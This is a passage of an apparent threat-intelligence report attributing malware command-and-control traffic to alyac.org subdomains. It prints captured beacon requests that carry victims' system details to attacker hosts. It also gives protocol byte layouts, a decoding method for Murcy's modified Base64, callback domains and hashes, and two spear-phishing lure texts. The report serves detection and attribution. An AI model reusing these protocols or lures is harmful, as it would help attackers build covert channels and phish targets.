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FIGURE 3: VARIANT A COMMUNICATIONS FIGURE 4: VARIANT B COMMUNICATIONS The format of Variant A is identical to the communications generatedbythe Destory RATused in the SK Communications hack26.
The format of Variant B is identical to the communications generatedbymalware thatuses the callback domain gm1.networksec.net27.
Both variants are associated with the Destory RATfamily of malware that dates back at least as far as January200728 andhas been used in several major targeted attacks.
26 For a detailed analysis of the Destory RAT used in the SK Communications hack (including a complete list of deobfuscated strings) refer to the Command Five paper SK Hackby an Advanced Persistent Threat.
(
CommandFive Pty Ltd, 2011) 27 Malware detected as Troj_Inject.
AMR submits HTTP POST requeststo gm1.networksec.net/update?idvalue.
The domain gm1.networksec.net isa known callback of malware detected as Backdoor:Win32/Thoper.
A.
(Mendoza, 2011) (Wong, 2011) 28 The Destory RAT withMD5hash 70CD C9A2D9CC 276BC5D1 D47D 21FB24DFwas compiledon 3January 2007.
The Destory RAT family includes malware that is detectedas: Backdoor.
Sogu, Backdoor:Win32/Thoper.
A29, Trojan.
Downloader:Win32/Thoper B30.
The observed communications to the alyac.org subdomains all occurred on TCP port 80, however, a variety of ports (TCP ports 8080, 443, 12345 etc.)
have been usedby this particular familyof malware for similar requests.
The portused depends on how the malware isconfigured.
Connection attempts from each of the compromised computers occurred frequently while the computers were powered on.
For example, one computer connected at 16 second intervals and another approximately every 200 seconds (15 seconds).Three HTTPPOSTrequests were submitted during each connection, each approximately one second apart.
The following malformed useragent31 ispresent in the HTTPPOST requests ofboth variants (spaces shown here as ): Mozilla/4.0(compatibleMSIE6.0WindowsNT 5.1SV1 This useragent is consistent with that which may be generated by version 6.0 of the Microsoft Internet Explorer web browser running on the MicrosoftWindowsXPOS,exceptthatit ismissinga closing bracket after the last semicolon and a space after the second to last semicolon.
This malformed useragentishardcodedintothe malware andcan be usedas a signature to detectthe communications.
Four custom headers are also present in the HTTP requests:XSession,XStatus,XSize,and X Sn.
For some malware in the DestoryRAT familynot all ofthese headers will be present.
29 The Destory RAT withMD5hash 5FCE 1FC18283 D76C396A 3CCC 64BD BBDE is detected by antivirus software as both Backdoor.
Sogu andBackdoor:Win32/Thoper.
A. Thismaliciousfile isidenticalto that usedin the SKCommunicationshackexcept for its configuration.
(
Hispasec Sistemas, 2011) 30 The Destory RAT withMD5hash 7543 64D9DB70 2DC7 1532 7B40 BF97 E556 is detected by antivirus software as both Backdoor.
Sogu and TrojanDownloader:Win32/Thoper.
B.
(Hispasec Sistemas, 2011) 31 Useragents are used in HTTP communications to tell webservers whichOS andweb browser their clientsare using, so they can serve compatible webpages.
POST /update?productwindows HTTP/1.1 Accept: / X-Session: 0 X-Status: 0 X-Size: 61456 X-Sn: 1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1SV1 Host: update.alyac.org Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache Cookie: VisitorIDc2a4b456-e11e-4c37-88d8- e770aa88058dExp9/25/2014 6:14:17 AM POST /update?id3109c2a2 HTTP/1.1 Accept: / X-Session: 0 X-Status: 0 X-Size: 61456 X-Sn: 1 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1SV1 Host: path.alyac.org Content-Length: 0 Connection: Keep-Alive Cache-Control: no-cache Cookie: VisitorIDbd5ab197-355d-42cb-ae1b- 8d23f1dd55edExp9/25/2014 6:03:33 AM OF29 COPYRIGHT COMMAND FIVE PTYLTD.
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CookieStealing Cookies were sent with the HTTP POST requests from all butthree IP addresses.
A cookie named VistorID was presentanytime a cookie was sent.
On occasion a Yahoo, SessionId and/or fcVal cookie was also present in the requests.
The transmission of these cookies could facilitate session stealing and, in the case of the Yahoo cookie, enable unauthorised webmail access.
Each VisitorID cookie contained an expiry time between 9/25/2014 5:50:03 AM and 9/25/2014 6:14:17AM.The expirytime isunique for eachvictim andremained constant (per victim)across the HTTP POSTrequests.
It ispossible the victimsreceivedthe cookie from a C2 server with which they had previouslycommunicated,or,froma server hostinga webpage that caused the initial infection.
It is also possible that the cookie, and the propinquity of the times in the cookies, is coincidental, and that the victimsreceived the cookie fromother locations.
THE MURCY COMMUNICATIONS Multiple Chinese IP addresses were observed submitting HTTP GET requests to the host path.alyac.org.
Data contained within the communications indicatedthatthe requests were all sent from a single computer, and therefore that computer was notusinga static IPaddress.
The data from the computer was carried in the requests in an encoded form (as described below) within a HTTP header namedExtraData.
Twoother unique headers were also present in the requests ExtraDataBind and ExtraDataSpace.
The communications appear tobe generated by malware known as Backdoor.
Murcy that is reportedlynot in widespreaduse32.An example ofan actual HTTPGET request isshown in Figure 5.
32 Symantec Corporation assesses the number of Backdoor.
Murcy infectionsto be less than 50.
(
Ward, 2011) FIGURE 5: SAMPLE OF MURCY COMMUNICATIONS The path in the HTTP GET requests is the computers tick count (i.e.
the number of milliseconds since the system was started).The requests fromthe victim occurred approximately every 11 seconds when the computer was turnedon.
Accordingly, the number in the URIincreased by approximately11000 each request.
Where there was a break in the communications (presumably due to the computer beingshutdown or rebooted),the counter resetand was between 128703 and 133243 in the next communication.
This indicates that the malware began communicating from this compromised computer within minutes of the computer being booted.
The encodeddata within the ExtraData header can be decodedusing the standardBase64 alphabet but with modified bit placement.
The standard Base64 algorithm decodes encoded strings using consecutive bits read left to right i.e.
bits 07would form the firstdecoded byte (shown in Figure 6).
For Murcy communications,the input bitsthatform each output byte are not taken contiguously.
Figure 7 describes how the first three decoded bytes are constructed, and can be used to implement a decodingalgorithm.
GET /150828 HTTP/1.0 Connection: Keep-Alive Accept: / Host: path.alyac.org User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Windows NT 5.1) Extra-Data-Bind: DE6A34D80D43B930 Extra-Data-Space: 65536 Extra-Data: 4ZFNSAAEAAh2AoNAAAAAAgRCHACwoSogAjKhCCf/HA AVNAAAAeAAAgDBAAABIAAAs0kAAUAAAAQAAAAAooAA AIAAAAATAAAAKCAAAgKAAAgqAAAA4CAAAgNAAAAOAM DA3AgQAxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxAEEAzAQOAADA5AAMAkDAwAgNAkDAxAAAAMFAlB gcAYHApBwYAUGAgAAUAEGAjBwaAACAzAAAAAAATBQW AMFAUBQRA0EAAAwVA8EAXBQLAUEA4AQRAxxxxxxxxx xxxxxxxxxx2AAAAAAA Cache-Control: no-cache Pragma: no-cache Content-Length: 0 OF29 COPYRIGHT COMMAND FIVE PTYLTD.
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0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 10 11 0 1 2 3 4 5 14 15 16 17 6 7 8 9 18 19 20 21 22 23 12 13 FIGURE 7: BIT PLACEMENT FOR MURCY DECODING For some input data sizes a crude, but functionally equivalent, approach is to reverse the input bytes, apply a standard Base64 decoding, and then reverse the outputbytes.
IP2B Protocol The decoded string contains communications of a formathereon referred to as the IP2B protocol.
All observedIP2B communications began witha 16byte header containing the hexadecimal values 0x12345678 and 0x10001000, and the size of the data.
The decodedversion of the Murcy ExtraData string fromFigure 5 isshown in Figure 8.
FIGURE 8: EXAMPLE OF DECODED MURCY DATA STRING The decoded data reveals the name of the compromisedcomputer, thatthe computer isrunning Windows XPService Pack 3, itsinternal IPaddress is 192.168.132.30, its screen resolution is set to 1920x1080 andthatitslocale33 isChinese  China.
A summary of each byte in the observed communications isprovided in Table 4.
BYTEPOSITION SIZE (BYTES) DESCRIPTION 0 4 Protocol identifier.
0x12345678 in all observedcommunications.
4 4 Hexadecimal value0x10001000 in all observedcommunications.
8 2 Data size in bytes(excluding header).
10 2 Data size in bytes(excluding header).
12 4 0x00in all observed communications.
16 4 0x18 0x09 0x07 0x20in all observed communications.
20 4 IPaddress.
Value is bigendian.
24 4 IPaddress.
Value is bigendian.
28 4 Unknown.
32 4 Unknown.
36 4 Horizontalscreen resolution (pixels).
40 4 Verticalscreen resolution (pixels).
44 4 Locale identifier34.
48 4 Tickcount.
Value isidenticalto that present in the URI within the Murcy HTTP GET requests.
52 4 OS major version.
56 4 OS minor version.
60 4 OS build number.
64 4 Platform ID.
68 24 Unknown.
92 SizeIdent Ident A null terminated2byte wide character identifier string.
[
92 SizeIdent] SizeSPack SPack A nullterminated2byte wide character stringindicatingthe latest Service Packinstalled.
[
92 SizeIdent SizeSPack] SizeUName UName  A null terminated2byte wide character username.
[
92 SizeIdent SizeSPack SizeCName] SizeCName CName  A nullterminated2byte wide Unicode character computer name.
ALLVALUESARELITTLEENDIANUNLESSOTHERWISESTATED.
TABLE 4: IP2B PROTOCOL FORMAT 33 A locale is a collection of languagerelated user preference information that typically identifies a users country and dialect.
(
Microsoft Corporation, 2011) 34 For a list of locale identifiers refer to the Microsoft MSDN reference page.
(
Microsoft Corporation, 2011) FIGURE 6: BIT PLACEMENT IN BASE64 DECODING 78 56 34 12  00 10 00 10  DA 00 DA 00  xV4......... 00 00 00 00  18 09 07 20  C0 A8 84 82  ....... .... C0 A8 84 82  F0 FD 07 00  54 0D 00 00  ........T... 80 07 00 00  38 04 00 00  04 08 00 00  ....8....... 2C 4D 02 00  05 00 00 00  01 00 00 00  ,M.......... 28 0A 00 00  02 00 00 00  4C 00 00 00  (.......L... 8A 00 00 00  A8 00 00 00  AA 00 00 00  ............ B8 00 00 00  D8 00 00 00  38 00 33 00  ........8.3.
37 00 42 00  xx xx xx xx  xx xx xx xx  7.B.xxxxxxxx xx xx xx xx  xx xx xx xx  xx xx xx xx  xxxxxxxxxxxx xx xx xx xx  xx xx xx xx  xx xx xx xx  xxxxxxxxxxxx xx xx xx xx  xx xx xx xx  xx xx xx xx  xxxxxxxxxxxx xx xx 36 00  39 00 31 00  00 00 53 00  xx6.9.1...S. 65 00 72 00  76 00 69 00  63 00 65 00  e.r.v.i.c.e.
20 00 50 00  61 00 63 00  6B 00 20 00   .P.a.c.k.
.
33 00 00 00  00 00 53 00  59 00 53 00  3.....S.Y.S.
54 00 45 00  4D 00 00 00  57 00 4F 00  T.E.M...W.O.
57 00 2D 00  45 00 38 00  45 00 xx xx  W.-.E.8.E.xx xx xx xx xx  xx xx xx xx  xx xx xx xx  xxxxxxxxxxxx 36 00 00 00  00 00                     6..... 1st decoded byte 2nd decoded byte 3rd decoded byte decoded byte 2nd 3rd decoded byte 3rd Base64 encoded character 4th Base64 encoded character 1st decoded byte 1st Base64 encoded character 2nd Base64 encoded character OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
The data sent to the C2 server is dependent on the C2 instructions received.
Commands the Murcy malware reportedlyunderstandsare shown in Annex D.(SafeZoneCast,2011) The Murcy malware is commonly named cydll.dll, creates a mutual exclusion (mutex 35 ) handle named Cy1.0Mutex, and installs a service named CyService witha displayname of CyService Service.
It also commonly gains persistence by creating the registry key ServiceDll System\cydll.com in the ControlSet001 key in the Local Machine hive of the Windows registry.
Symantec Corporation discovered Backdoor.
Murcy on 31 July 2011, yet the same malware appears to have been first detected by Kaspersky Lab on 11 January 2010 36 .
Malware samples withthe same attributes date back toatleast October 2009 37 .
This suggests that the Murcy malware has been in use for atleasttwoyears.
Known Murcy malware uses the callback domains albertstein.ddns.us 38 , alvington.jetos.com39, ftp.xmahone.ocry.com40, and superaround.ns02.biz 41 .
These callback domains were all also reportedly used in the March 2011 intrusion into RSAs network.
That intrusion resulted in the theft of information related to RSAs SecurID twofactor authentication products.
The stolen information was later used to enable targeting of defence contractors.
(
Coviello, 2011).
(
Rasmussen, 2011) (USCERT,2011).
35 A mutex is a technicalconstruct usedto control access to system resources.
In thiscase the technical meaningisless significant than the fact that the mutex in the Murcy malware isuniquely named.
36 Malware that fitsthe profile of Murcy malware wasdetectedon 11 January 2010 as Backdoor.
Win32.Agent.anvj.
(
Kaspersky Lab ZAO, 2010) 37 Malware detected in 2009 with the MD5 hashes 3FDE A18B 9610 CBC9 B63B A7A4 4899 FBFB and 42E8 163B 7F08 DD38 3E62 E4BD B7F0 7C08 is known to callback to IP address 203.160.67.130.
(
Sunbelt, 2009) (Sunbelt Security, 2009) 38 Malware with the MD5 hashes 19B0 227B EC75 BEF9 3C6C CC54 9B6D 2BA0and 3DF0 D0AB4AD9DA45 59A1C6464C85 26D1 callback to the domain albertstein.ddns.us.
(
GFI Software, 2010) (Sandbox, 2010) 39 Malware with the MD5 hashes 91A2 68B3 17D2 CC65 69B8 5BB0 3A5F F841 and 69ED 8F7B 0046 9560 45A9 0E36 E3C8 3F6A callback to the domain www.alvington.
JetOS.com.
(
GFI SandBox, 2011) (Sunbelt Security, 2010) 40 Malware with the MD5 hashes 0D38 D6C2 B9EB 817B 40AF C427 2545 A43B, 3E37 36DF FEDA F2A0 AE4D 9485 6793 3B3F and9ADD C6D573309399E2B878873A00 A921callback to the domain ftp.xmahone.ocry.com.
(
GFI Sandbox, 2011) (Telus, 2011) (Threat Expert Ltd, 2011) (GFI Sandbox, 2011) 41 Malware with MD5 hash 3740 5D5B CF64 FB95 47CA CDA9 5F4C E8B4 is known to callback to www.superaround.ns02.biz.
(
GFI Sandbox, 2010) THE OSCAR PROTOCOL Numerous computers were observedcommunicating withan alyac.org subdomain on TCPport80via the Oscar protocol.
Most, but not all, of the computers also communicated to the same domain via the Update?
communications.
The protocol is believed to be associated with the same malware that produces the Update?
communications  the Destory RAT.
Eachcompromised computer communicatedata different interval to the others, and accordingly, the malware on each of the compromised computers appears to have been individually configured.
For example, one computer communicated every 12 secondsandanother every16seconds.
Encrypted data was sent during each communication.
The length of the encrypted data in each packet varied between 16 bytes and 89 bytes.
After sendingthe encrypteddata the malware waited for a response.
THE BB PROTOCOL Two computers were observed communicating with update.alyac.org via the BB protocol.
One of the computers used a Chinese IP address, the other a SouthKorean IPaddress.
The BB protocol has a 21 byte header containinga 4 byte XOR key thatcan be used to decode the remainingbytes in the packet.
The packetformatis describedin Table 5.
BYTE POSITION SIZE (BYTES) DESCRIPTION 0 4 SizeBB  Size in bytes(including header).
4 4 Possible communication type indicator.
0x01 0x00 0x00 0x00 in all observed communications.
8 4 Victim specific bytes.
12 4 XOR key.
16 4 Unknown.
0x01 0x04 0x01 0x00 in all observed communications.
20 1 Unknown.
0x00 in all observed communications.
21 [SizeBB] Data encodedusingthe 4byte XOR key specifiedin bytes1215.
ALLVALUESARELITTLEENDIANUNLESSOTHERWISESTATED.
TABLE 5: BB PROTOCOL PACKET FORMAT Once decoded, the data reveals a basic beacon containing the computer name and IP address ofthe infected computer.
OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
After sendingthe basic beacon,the compromised computers waited for a response from the server, then closed the connection when they had not received a response from the server within five seconds.
Bothof the compromisedcomputers reattempted the communications approximately every eight seconds.
On some days the high frequency of the beacon activity resulted in over 10000 connection attempts per victim in a 24hour period.
THE DB PROTOCOL A single computer was observedcommunicatingwith the domain update.alyac.org via the DB protocol.
The communications originated from the same Chinese computer network as one ofthe BB victims but from a different computer on thatnetwork.
It is not known what malware generates the DB communications, or whether it is the same malware thatgenerates the BB communications.
The communications reveal detailed OS and system information about the compromised computer as shown in Table 6.
The OS information reveals that the compromised computer is running Windows 2003 Server Service Pack 2.
The detailed system information reveals that the compromised computer has an Intel Pentium Proclass processor, four logical processors and an LGA 77542 Central ProcessingUnit(CPU) socket.
BYTE POSITION43 SIZE (BYTES) DESCRIPTION 0 156 OSVERSIONINFOEX structure (format shown in Annex A).
156 36 SYSTEM_INFO structure (format shown in Annex B).
192 10 Computer name.
TABLE 6: SUMMARY OF FIRST 202 BYTES OF A DB PACKET The DB communications typically occurred at intervals of between 4 and 92 seconds, however, sometimes they were much further apart.
After sending the detailed beacon to the command and control server,the compromised computer appeared toexpecta response from the server.
42 The combined processor level and processor revision information indicates the computer has an LGA 775 CPU socket (Intel family 6/ model 15/ stepping 11).
(
Microsoft Corporation, 2011) (Wikipedia) 43 On several occasions the 4 bytes 70 17 00 00were prepended to the communications.
THE QDIGIT PROTOCOL One computer using a static South Korean IP address was observedsendingthe five bytes 0x51 0x310x39 0x210x00(\x51Q19)to update.alyac.org on TCP port 80 up to nearly 800 times a day.
While the communications did not occur continuously (likely due tothe computer being turnedoff),when they did occur a new connection was attempted, and the packet containing Q19 sent, approximately every minute.
It is assumed these communications are generated by malware but it is not known what malware, or which other callback domains that malware uses.
The malware appeared to expect a response fromthe server after itsent eachpacket.
FREQUENCY OFCOMMUNICATIONS The communications to alyac.org subdomains occurred frequently from each compromised computer.
A summary of typical observed intervals between communications,broken down byprotocol, isshown in Table 7.
PROTOCOL TYPICALBEACONINTERVAL (SECONDS) LURK 26 XShell C601 36 Update?
1to 13, 123, 16, 1043 or 20015 Murcy 11 Oscar 122, 13, 15, 16, (55 or 1555), (7.5,8.5 or 15) , (45, 55,106) BB 8 DB 4to 92 Qdigit 60 Commasindicate that the intervalchangedbetween victims.
Bracketsindicate that a variety of intervals were observedfrom a single computer.
TABLE 7: INTERVAL BETWEEN COMMUNICATIONS The single LURK victim was typically observed beaconing at26 secondintervals,the Murcyvictim at 11 second intervals, and the Qdigit victim at 60 secondintervals.
All ofthe XShell C601victimswere typicallyobserved beaconingat36 second intervals, and the BB victims at 8 second intervals.
The beaconing interval of the other victims does not appear to be a fixed time, and instead a degree of randomness appears to be employed.
OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
Ports used As shown in Table 8, the observed communications all occurredon TCPport80 or TCPport 443  ports commonlyusedfor legitimate purposes44.
PROTOCOL PORT LURK 80 XShell C601 443 Update?
80 Murcy 80 Oscar 80 BB 80 DB 80 Qdigit 80 TABLE 8: COMMUNICATION PORTS USED NAMESERVERS While most malware uses the local DNS server settings of the compromisedcomputer to resolve its callback domain to an IP address, in some observed communications the attackers appear to have specificallychosen the DNSservers.
The majority of XShell C601malware that called back to path.alyac.org used Google DNS servers, presumably instead of the DNS settings on the compromisedcomputers.
The XShell C601malware supports use of a specified DNS server to resolve callback domains, and it appears the attackers have made use ofthis functionality.
The Update?,Oscar,Murcy andQdigitvictimsall appear tohave usedtheir local DNSserver settings to resolve the callback domains.
On the other hand,the single LURK victim used Google DNS servers to resolve its callback domain, as did the Chinese BB victim (andassociatedDB victim)but not the South Korean BB victim.
This suggests that the LURK, BB and DB malware may also have the same DNS functionality as XShell, although it is possible that the victims are configured touse the Google servers as their regular DNSservers,andthatthe malware is notusingdifferentservers.
44 TCP ports 80and443 are commonly used for legitimate HTTP and HTTPS activity respectively, and as such communications to these portsare often allowed throughfirewalls.
ASSOCIATIONWITHMALWARE ANDATTACKS The observed communications have links to a variety ofmalware andtoa number ofattacks,as illustrated in Figure 9,anddetailed below.
The Update?
communications and the Oscar communications are both associatedwith the Destory RATfamily of malware.
This malware familyhas been used in a number of targeted attacks including the July2011SK Communications hack.
Through shared infrastructure the malware has links to the series of coordinated, covert and targeted cyber attacks dubbedNightDragon45,andalsotothe recentseries of targeted attacks that have used Sykipot 46 malware.
Through a shared callback domain the Destory RAT malware also has links to socially engineered emails including those that targeted experts on the relationship of the United States with Japan, China and Taiwan.
The Destory RAT is also connected to LURK malware via a compromised code signing certificate which was used to sign both pieces of malware, and to IP2B communications by a shared callback domain.
The XShell RAT has been used in numerous attacks butmanyofthese attacks are notexpectedto be associated with the same attackers.
On the other hand, the callback domains used by Murcy malware suggest that the malware is used,perhaps solely,by the attackers responsible for the March 2011 RSA breach.
IP addresses, to which alyac.org and its subdomains previously pointed, associate the domain, and the attackers behind it, with a raft of activity.
This includes activity involving callback domains registered to appear as though they were associated with legitimate, trusted entities, and domains registeredtoa Lee Cooper thattie back to the SK Communications hack.
45 The NightDragon series of attacks began in, or prior to, November 2009 and targeted global oil and petrochemical companies.
(
McAfee Foundation Professional Servicesand McAfee Labs, 2011) 46 Sykipot is a family of malware used since 2007 to steal intellectual property.
The malware has been used in a series of socially engineered email campaigns against a variety of sectors.
On a number of occasions, the attackers have exploited zero day vulnerabilities to install the malware.
Some variants of the malware include features that enable it to hijack smartcards.
(
Thakur, 2011) (Lelli, 2010) (Blasco, 2012) OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
FIGURE 9: ILLUSTRATION OF LINKS 209.133.72.83 .mail ru2.com pc.nprotects .org Trojan.
Win32.Generic (tcomoniter.exe) DBmalwareDBprotocol Trojan.
Win32.
AgentBypass bbs.ezxsoft.com Unique directory (03a075fb70d5d6 75f9dc26fc) Severaltargeted attacks Lee Cooperro.diggfunny.com Several attacks Several attacks 202.30.224.240 wow.travlman.com .network sec.net IP2B protocol IP2B malware NightDragon Poison Ivy RAT www.adv138mail.com 175.45.22.220 67.90.204.228 .oerco.com newhose.ntimobile.com sms.servegame.com www.mailsignin.net 112.121.171.94 pu.flowershow.org Targetedemails .join3com.com SK Communications hack .duamlive.com 203.160.67.131 .mailkr2.com Alyac.org andits subdomains LURK malware The LURK protocol Qdigit malware Qdigit communications Murcy malware Destory RAT Update?
communications BB malware XShell C601 communications XShell RAT BB protocol Oscar protocol superaround .ns02.biz ftp.xmahone .ocry.com albertstein .ddns.us alvington .jetos.com RSA Breach .windowupdate.org Compromised code signingcertificate (6724340ddbc7252f7fb 714b812a5c04d) 222.122.20.241 .afbjz.com Sykipot FinancialIP address .welldone 123.net .todaygonever.
com .greenright way.com .filesdelete.com Janagreen2000 .newcarstyle .com 67.79.149.90 .bluelightness.com 209.53.155.244 .topix21 century.com madconnon 126.com 12.68.249.62 .world securitys.com 68.178.232.100 OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
NightDragon DestoryRAT malware is known to communicate with the callback domain vupdate.mailkr2.com47, while NightDragon malware isknown tocommunicate with ma2.mailkr2.com 48 and www2.mailkr2.com 49 .
The communications sent to www2.mailkr2.com are similar 50 , but not identical, to IP2B communications, further linking the observed activity.
Other mailkr2.com subdomains include cb85.mailkr.com, sa.mailkr2.com, and skylie.mailkr2.com  at least two of which are known to be associated with malware51.
Destory RAT malware is known to use the callback domain bbs.afbjz.com 52 , while known NightDragon malware uses the callback domain blog.afbjz.com53.As of3February2012, both of the subdomains point to US IP address 67.90.204.228.
This overlap in infrastructure appears to be of particular significance given the following links between other activity on the same IP address.
As of6 February 2012, the domains gmail.mail ru2.com, live.mailru2.com, mailru2.com, msn.mailru2.com, usaisbig.oerco.com, whois.oerco.com, www.afbjz.com, and www2.oerco.com also point to IP address 67.90.204.228.
At least one of these domains is otherwise known to be associatedwithmalware54.
47 The Destory RAT withMD5hash 9555 8985 D211F7681ACC 1AC9 2DCB 07C8 A096 B403 uses the callback location vupdate.mailkr2.com.
48 Malware with MD5 hash 2D8A 9038 E151 FB30 D45E A866 8AFD2A8E, known to call backto ma2.mailkr2.com, isdetected by antivirussoftware as TrojanDropper:Win32.RedSip.
A, an alias for NightDragon malware.
(
ThreatExpert Ltd., 2010) (Hispasec Sistemas, 2011) (Kurc, 2011) 49 Malware with MD5 hash 5BC5 97E4 8270 F04E C9B6 8343 2432 E352, known to call back to www2.mailkr2.com, is detectedby antivirus software as Backdoor:Win32/RedSip.
Asvc, an alias for NightDragon malware.
(
Sunbelt Security, 2010) (Hispasec Sistemas, 2010) 50 Bothcommunicationsbegin witha 16 byte header containingthe protocol identifier 0x12345678 and a data size, and the data in bothcontainssimilar system information but in a different order.
51 Malicious filesare separatelyknown to attempt communications with sa.mailkr2.com on TCP port 8000, and cb85.mail kr2.comon TCPport 6543.
(Doctor Web, 2011) (Sunbelt Security, 2011) 52 The domain bbs.afbjz.com is a known callback domain of Destory RAT malware that is detected by antivirus software as bothBackdoor:Win32/Thoper.
A andBackdoor.
Sogu.
(
Wong,2011) (Mullaney, 2011) 53 The domain blog.afbjz.com is a known callback domain of NightDragon malware that is detected by antivirus software as Trojan.
Dropper:Win32/Redsip.
A.
(Kurc, 2011) 54 Malware that is detected by antivirus software as Trojan.
DownLoader4.8565 communicates with usig.oerco.com on TCP port 100.
(
Dr.
Web, 2011) The oerco.com domain isregisteredtothe same person as afbjz.com55, associating the two domains with a single entity.
The mailru2.com domain appears tobe associatedwiththe same entityas the mailkr2.com domain used byNightDragon malware andthe Destroy RAT(as describedabove).While the domains were registered usingdifferentdetails,they were registered on the same day through the same domain name registrar,andthe recordslater updated minutes apart56.
This suggests that all C2 activity involving IP address 67.90.204.228 may be associatedwith a single entity.
The recentlyexpireddomain todaygonever.com also previously pointed to the same IP address.
As will be discussed later in the paper, todaygonever.com is directly associated with malware andhas links tothe recentseries ofSykipot attacks.
The recently expired domains goodfeelingauto.com and deadlinely.com also pointed to the same IP address and were likely associatedwith the same attackers.
SociallyEngineered Emails Other Destory RAT callback domains are also otherwise linked to malicious activity.
For example, the callback domain www.adv138mail.com 57 was used by a Poison Ivy RAT58 sent in a July 2011 socially engineered email campaign.
The emails contained an attachment, named Meeting Agenda.pdf, which attempted to exploit a vulnerability specified by the Common Vulnerabilities and Exposure (CVE) number 2010 288359 to install the Poison Ivy RAT.
A clean decoy PDF file was shown to the user when the attachment was opened.
A copy of the text used in the socially engineeredemail campaign is shown in Figure 1060.
55 Both domains are registered to a person whose contact email address is madconnon126.com.
The name and address details are identical for bothdomain registrations.
56 The domain mailkr2.com was last modified on 24 February 2012 at 1:40:32, while the domain mailru2.com was last modified on the same day at 1:43:53.
Both domains were registeredthrough35TechnologyCo.,
Ltd on 8 March2010.
57 The domain www.adv138mail.comislistedasa Backdoor.
Sogu callback.
(
Mullaney, 2011) 58 The Poison Ivy RAT is an advanced remote administration tool for Windows.
Bothfree andpaidversions of the RAT are available.
(
shapeless n.d.)
59 CVE 20102883 refers to a particular vulnerability in certain versionsof Adobe Reader andAcrobat which an attacker can use to take control of affected Windows, Macintosh and UNIX systems.
(
Adobe Systems Incorporated2010) 60 Emailcourtesy of MilaParkour of contagiodump.blogspot.com.
(
Parkour 2011) OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
FIGURE 10: TEXT OF A SOCIALLY ENGINEERED EMAIL ASSOCIATED WITH WWW.ADV138MAIL.COM The domain www.adv138mail.com is also associated with malware detected by antivirus software as Backdoor.
Win32.Delf.abow 61 .
Other known subdomains include: asm.adv138mail.com, dns.adv138mail.com, ftp.adv138mail.com, ihi.adv138mail.com62, nov.adv138mail.com.
These domains (with the possible exception of the dns and ihi subdomains) have all pointed to the same infrastructure 63 as the domains pu.flower show.org and www.mailsignin.net.
That shared infrastructure is known to have been used to send socially engineered emails that contained an attachmentnamedinvtation.pdf [sic].Similar tothe Meeting Agenda attachment, invtation installs a Poison IvyRAT,but one configured to communicate withthe callback domain pu.flowershow.org64.The text used in the emails isshown in Figure 1165.
61 The malware with MD5 hash F0B848A841D4 EF34 06A6F9C4 766C 540B modifies the hosts file on computers it is run on so that the file contains an entry for www.adv138mail.com.
(
ThreatExpert Ltd., 2011) 62 The domain ihi.adv138mail.com is listed as a Backdoor:Win32/Thoper.
A callbacklocation.
(
Wong,2011) 63 The domains previously pointed to a C2 server located at IP address 112.121.171.94.
64 The socially engineered email that communicated back to pu.flowershow.org was sent from IP address 112.121.171.94 the same IPaddress to whichthe callback domain pointed.
65 Emailcourtesy of MilaParkour of contagiodump.blogspot.com.
(
Parkour, contagio: Jul 5 CVE20102883 PDF invitation.pdf with Poison Ivy from 112.121.171.94 pu.flowershow.org, 2011) FIGURE 11: TEXT OF A SOCIALLY ENGINEERED EMAIL SENT FROM IP ADDRESS 112.121.171.94 Additional DestoryRAT Links In addition to having previously shared infrastructure with the known Destory RAT callback domain www.adv138mail.com, the domain www.mailsignin.net has also previously shared infrastructure withatleasttwo other known Destory RAT callback domains.
The domain www.mailsignin.net previously pointed to IP address 175.45.22.220, as did the known Destory RAT callback domains newhose.ntimobile.com and sms.servegame.com66.
A number of subdomains of the Destory RATassociated domain join3com.com alsopreviouslypointedto the same IP address67.
These links suggest that many attacks in which the Destory RAT has been used are linked, not only by the malware, but also through C2 infrastructure.
This further supports the notion that the Destory RAT was developed by, or for, particular attackers and that most, if not all, of the malicious activity involving itisattributable to those attackers.
The Destory callback domains alsohave links to additional malware.
For example, the domain networksec.net has been usedby the DestoryRAT (gm1.networksec.net), by Poison Ivy malware (yoyo.networksec.net 68 ) and by BackdoorFCQ 66 The domains newhose.ntimobile.com and sms.servegame.com are listed as known callbacks for Backdoor.
Sogu and Thoper.
A respectively.
(
Wong,2011) (Mullaney, 2011) 67 The join3com.com subdomains 123.join3com.com, dow.join3com.com, ftp.join3com.com, andico.join3com.com are all known to have pointed to IP address 175.45.22.220.
The domain catalog.join3com.com is listed as a known Backdoor:Win32/Thoper.
A callbacklocation.
(
Wong,2011) 68 The domain yoyo.networksec.net is used by malware with MD5hash 3703 7F67 4BCBBB7E EF38 89AB6EB30268.
(
Threat Expert Ltd., 2008) Dear recipient, The Sasakawa Peace Foundation would like to extend to you an invitation to be our guest speaker at the Americas Strategic Restraint and its Implications for the U.S.- Japan Alliance.
As you know, the Sasakawa Peace Foundation is interested in the U.S.- Japan Alliance Since you are familiar with the field, we know your views will be extremely interesting to us.
please find enclosed further details, we would appreciate having your acceptance soon so we may complete our agenda.
Best wishes, purported sender Dear Sir/Madam, Im greatly honored to invite you to the seminar about technology, which will be held on 28th,July.
We would appreciate it if you would take your spare time to share the occasion with us.
The detail information is in the attachment.
Please confirm your participation at your earlist convenience.
Looking forward to your reply.
Thanks very much.
Best Regards, purported sender OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
(
pingabm.networksec.net, psbm11025.network sec.net andpsbm10.networksec.net69).
Compromised CodeSigning Certificate The observed LURKcommunications appear tobe the same as those generated by malware that was digitally signed using a compromised code signing certificate thatwas used to sign a DestoryRAT,and other malware used in several attacks 70 .
That malware communicates with the domain office.windowupdate.org  a domain thatislinked to alyac.org not only by the communications protocol but also by both domain registration tactic and infrastructure71.
